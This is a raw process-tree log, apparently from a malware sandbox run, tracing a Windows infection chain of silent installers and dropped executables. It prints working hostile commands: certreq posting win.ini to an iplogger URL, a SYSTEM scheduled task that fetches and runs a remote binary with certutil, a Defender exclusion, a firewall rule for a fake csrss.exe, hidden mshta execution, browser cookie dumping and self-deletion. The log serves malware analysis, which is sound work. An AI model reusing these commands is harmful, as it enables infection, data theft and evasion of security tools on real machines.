C:\Program Files (x86)\JCleaner\mex.exe"{path}"11⤵PID:1284
-
-
C:\Program Files (x86)\JCleaner\mex.exe"{path}"11⤵PID:5620
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\JCleaner\mex.exe"12⤵PID:6616
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK13⤵
- Delays execution with timeout.exe
PID:6708
-
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"10⤵
- Drops file in System32 directory
PID:4112
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"10⤵PID:512
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:3872
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵PID:3112
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"10⤵
- Drops file in System32 directory
PID:5020
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\zlb22fu2wbi\vpn.exe"C:\Users\Admin\AppData\Local\Temp\zlb22fu2wbi\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4668 -
C:\Users\Admin\AppData\Local\Temp\is-QUBK3.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-QUBK3.tmp\vpn.tmp" /SL5="$10320,15170975,270336,C:\Users\Admin\AppData\Local\Temp\zlb22fu2wbi\vpn.exe" /silent /subid=4829⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4824 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵PID:4508
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵PID:5552
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵PID:5944
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵PID:5896
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵PID:6912
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵PID:4408
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wh5kdkzss32\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\wh5kdkzss32\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4612
-
-
C:\Users\Admin\AppData\Local\Temp\leaf5tlryvv\app.exe"C:\Users\Admin\AppData\Local\Temp\leaf5tlryvv\app.exe" /8-238⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:856 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Dawn-Wind"9⤵PID:5156
-
-
C:\Program Files (x86)\Dawn-Wind\7za.exe"C:\Program Files (x86)\Dawn-Wind\7za.exe" e -p154.61.71.13 winamp-plugins.7z9⤵PID:5860
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Dawn-Wind\app.exe" -map "C:\Program Files (x86)\Dawn-Wind\WinmonProcessMonitor.sys""9⤵PID:5424
-
C:\Program Files (x86)\Dawn-Wind\app.exe"C:\Program Files (x86)\Dawn-Wind\app.exe" -map "C:\Program Files (x86)\Dawn-Wind\WinmonProcessMonitor.sys"10⤵PID:6188
-
-
-
C:\Program Files (x86)\Dawn-Wind\7za.exe"C:\Program Files (x86)\Dawn-Wind\7za.exe" e -p154.61.71.13 winamp.7z9⤵PID:6400
-
-
C:\Program Files (x86)\Dawn-Wind\app.exe"C:\Program Files (x86)\Dawn-Wind\app.exe" /8-239⤵PID:6508
-
C:\Program Files (x86)\Dawn-Wind\app.exe"C:\Program Files (x86)\Dawn-Wind\app.exe" /8-2310⤵PID:7920
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"11⤵PID:7708
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes12⤵PID:7704
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2311⤵PID:6104
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F12⤵
- Creates scheduled task(s)
PID:7928
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F12⤵
- Creates scheduled task(s)
PID:7780
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"12⤵PID:2788
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\o5cfd2014xn\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\o5cfd2014xn\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1848 -
C:\Users\Admin\AppData\Local\Temp\is-RVEFQ.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-RVEFQ.tmp\IBInstaller_97039.tmp" /SL5="$2034A,14441882,721408,C:\Users\Admin\AppData\Local\Temp\o5cfd2014xn\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4892 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵PID:4512
-
-
C:\Users\Admin\AppData\Local\Temp\is-BLO37.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-BLO37.tmp\{app}\chrome_proxy.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3852 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-BLO37.tmp\{app}\chrome_proxy.exe"11⤵PID:5352
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
PID:5160
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:196
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1320 -
C:\Users\Admin\AppData\Roaming\FEE7.tmp.exe"C:\Users\Admin\AppData\Roaming\FEE7.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3712 -
C:\Users\Admin\AppData\Roaming\FEE7.tmp.exe"C:\Users\Admin\AppData\Roaming\FEE7.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:212
-
-
-
C:\Users\Admin\AppData\Roaming\40.tmp.exe"C:\Users\Admin\AppData\Roaming\40.tmp.exe"5⤵
- Executes dropped EXE
PID:416 -
C:\Users\Admin\AppData\Roaming\40.tmp.exe"{path}"6⤵PID:5460
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵PID:4812
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:2248
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵
- Executes dropped EXE
PID:4884 -
C:\ProgramData\567821.6"C:\ProgramData\567821.6"5⤵PID:5240
-
-
C:\ProgramData\8277922.91"C:\ProgramData\8277922.91"5⤵PID:5292
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵PID:5380
-
-
-
C:\ProgramData\7463809.82"C:\ProgramData\7463809.82"5⤵PID:5372
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"4⤵PID:5468
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:5852
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:4596
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1C597FB76087771F85D76DD90723DA21 C2⤵
- Loads dropped DLL
PID:3924
-
-
C:\Users\Admin\AppData\Local\Temp\is-AI4E0.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-AI4E0.tmp\Setup3310.tmp" /SL5="$102BC,802346,56832,C:\Users\Admin\AppData\Local\Temp\wh5kdkzss32\Setup3310.exe" /Verysilent /subid=5771⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4732 -
C:\Users\Admin\AppData\Local\Temp\is-PAQ9R.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-PAQ9R.tmp\Setup.exe" /Verysilent2⤵PID:5972
-
C:\Users\Admin\AppData\Local\Temp\is-BHQPJ.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-BHQPJ.tmp\Setup.tmp" /SL5="$204A8,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-PAQ9R.tmp\Setup.exe" /Verysilent3⤵PID:6036
-
C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\PictureLAb.exe" /Verysilent4⤵PID:5960
-
C:\Users\Admin\AppData\Local\Temp\is-6F4K1.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-6F4K1.tmp\PictureLAb.tmp" /SL5="$40260,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\PictureLAb.exe" /Verysilent5⤵PID:5484
-
C:\Users\Admin\AppData\Local\Temp\is-SHLHL.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-SHLHL.tmp\Setup.exe" /VERYSILENT6⤵PID:5560
-
C:\Users\Admin\AppData\Local\Temp\is-SRVQO.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-SRVQO.tmp\Setup.tmp" /SL5="$30422,298255,214528,C:\Users\Admin\AppData\Local\Temp\is-SHLHL.tmp\Setup.exe" /VERYSILENT7⤵PID:3800
-
C:\Users\Admin\AppData\Local\Temp\is-LDSGU.tmp\def.exe"C:\Users\Admin\AppData\Local\Temp\is-LDSGU.tmp\def.exe" /S /UID=lab2148⤵PID:6764
-
C:\Program Files\Google\HPADVNXHRT\prolab.exe"C:\Program Files\Google\HPADVNXHRT\prolab.exe" /VERYSILENT9⤵PID:7028
-
C:\Users\Admin\AppData\Local\Temp\is-44CML.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-44CML.tmp\prolab.tmp" /SL5="$302EA,575243,216576,C:\Program Files\Google\HPADVNXHRT\prolab.exe" /VERYSILENT10⤵PID:7088
-
-
-
C:\Users\Admin\AppData\Local\Temp\e9-99504-803-0e489-70ad728de03e8\Sugufawibo.exe"C:\Users\Admin\AppData\Local\Temp\e9-99504-803-0e489-70ad728de03e8\Sugufawibo.exe"9⤵PID:7056
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4kvp1ewv.3ez\customer4.exe & exit10⤵PID:8100
-
C:\Users\Admin\AppData\Local\Temp\4kvp1ewv.3ez\customer4.exeC:\Users\Admin\AppData\Local\Temp\4kvp1ewv.3ez\customer4.exe11⤵PID:4488
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\main.exe"12⤵PID:6764
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe13⤵
- Kills process with taskkill
PID:7316
-
-
C:\Windows\regedit.exeregedit /s chrome.reg13⤵
- Runs .reg file with regedit
PID:6960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat13⤵PID:1196
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)14⤵PID:5328
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX2\chrome64.bat" h"15⤵PID:5820
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"16⤵PID:6468
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd8,0xdc,0xe0,0xb4,0xe4,0x7ffb83d66e00,0x7ffb83d66e10,0x7ffb83d66e2017⤵PID:2824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1656 /prefetch:817⤵PID:7268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1604 /prefetch:217⤵PID:7284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2652 /prefetch:117⤵PID:7432
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2832 /prefetch:117⤵PID:7280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3260 /prefetch:817⤵PID:7588
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3616 /prefetch:117⤵PID:7624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:117⤵PID:7672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3268 /prefetch:817⤵PID:7692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3460 /prefetch:117⤵PID:7616
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4104 /prefetch:117⤵PID:7712
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4272 /prefetch:817⤵PID:7836
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4432 /prefetch:817⤵PID:4380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4748 /prefetch:817⤵PID:5508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4380 /prefetch:817⤵PID:6984
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3344 /prefetch:817⤵PID:5080
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3956 /prefetch:817⤵PID:4608
-
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings17⤵PID:4424
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff76cfc7740,0x7ff76cfc7750,0x7ff76cfc776018⤵PID:6888
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4080 /prefetch:817⤵PID:1004
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4600 /prefetch:817⤵PID:7776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4492 /prefetch:817⤵PID:6164
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4500 /prefetch:817⤵PID:6324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3988 /prefetch:817⤵PID:2988
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 /prefetch:817⤵PID:1644
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2784 /prefetch:817⤵PID:1768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3924 /prefetch:817⤵PID:5528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3272 /prefetch:817⤵PID:6136
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4456 /prefetch:817⤵PID:4960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3356 /prefetch:817⤵PID:6976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4716 /prefetch:817⤵PID:5328
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3896 /prefetch:817⤵PID:7076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3804 /prefetch:817⤵PID:5224
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4312 /prefetch:817⤵PID:7276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3336 /prefetch:817⤵PID:6472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5256 /prefetch:817⤵PID:1584
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5144 /prefetch:817⤵PID:3948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4272 /prefetch:817⤵PID:744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4184 /prefetch:817⤵PID:4932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3848 /prefetch:817⤵PID:5116
-
-
